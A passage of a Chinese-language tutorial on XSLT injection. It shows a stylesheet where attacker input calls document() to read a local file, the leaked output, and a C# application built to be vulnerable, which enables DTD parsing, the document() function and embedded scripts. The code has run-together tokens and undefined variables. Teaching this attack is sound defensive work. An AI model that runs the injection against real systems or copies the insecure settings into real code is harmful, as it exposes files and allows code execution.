比如应用可能生成下面的XSLT文档,字符串“Your Company Name Here”源于不受信任的用户输入。
1 2 3 4 5 6 7 8 9 10 11 12 13
<?xml version=”1.0” encoding=”utf-8”?> <xsl:stylesheetversion="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:templatematch="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-eachselect="fruit"> <!-- Print name: description --> - <xsl:value-ofselect="name"/>: <xsl:value-ofselect="description"/> </xsl:for-each> </xsl:template> <xsl:includehref="external_transform.xslt"/> </xsl:stylesheet>
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheetversion="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:templatematch="/fruits"> <xsl:copy-ofselect="document('C:\secretfruit.xml')"/> Fruits: <!-- Loop for each fruit --> <xsl:for-eachselect="fruit"> <!-- Print name: description --> - <xsl:value-ofselect="name"/>: <xsl:value-ofselect="description"/> </xsl:for-each> </xsl:template> </xsl:stylesheet>
转换的结果显示了上文提到的文件的内容:
1 2 3 4 5 6 7 8 9 10
<fruits> <fruit> <name>Golden Apple</name> <description>Round, made of Gold</description> </fruit> </fruits> Fruits: - Lemon: Yellow and sour - Watermelon: Round, green outside, red inside
接着让我们使用之前的XSLT文档吧,假设我们只能在字符串“Your Company Name Here” 中进行注入:
1 2 3 4 5 6 7 8 9 10 11 12 13
<?xml version="1.0" encoding="utf-8"?> <xsl:stylesheetversion="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:templatematch="/fruits"> Your Company Name Here Fruits: <!-- Loop for each fruit --> <xsl:for-eachselect="fruit"> <!-- Print name: description --> - <xsl:value-ofselect="name"/>: <xsl:value-ofselect="description"/> </xsl:for-each> </xsl:template> <xsl:includehref="external_transform.xslt"/> </xsl:stylesheet>
using System; using System.Xml; using System.Xml.Xsl;
namespaceXsltConsoleApplication { classProgram { /* This code contains serious vulnerabilities and is provided for training purposes only! DO NOT USE ANYWHERE FOR ANYTHING ELSE!!! */ staticvoidMain(string[] args) { Console.WriteLine("\n#####################################################################"); Console.WriteLine("# #"); Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #"); Console.WriteLine("# #"); Console.WriteLine("#####################################################################\n"); Console.WriteLine("The application expects (in the current working directory):"); Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n"); Console.WriteLine("===================================================================");
// Enable DTD processing to load external XML entities for both the XML and XSLT file XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings(); vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse; vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver(); XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings); XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);
XsltSettings vulnerableSettings = new XsltSettings(); // Embedded script blocks and the document() function are NOT enabled by default vulnerableSettings.EnableDocumentFunction = true; vulnerableSettings.EnableScript = true; // A vulnerable settings class can also be created with: // vulnerableSettings = XsltSettings.TrustedXslt;
XslCompiledTransform vulnerableTransformation = new XslCompiledTransform(); // XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols XmlUrlResolver vulnerableResolver = new XmlUrlResolver(); vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);
XmlWriter output = new XmlTextWriter(Console.Out);
// Run the transformation vulnerableTransformation.Transform(vulnerableXmlReader, output); } } }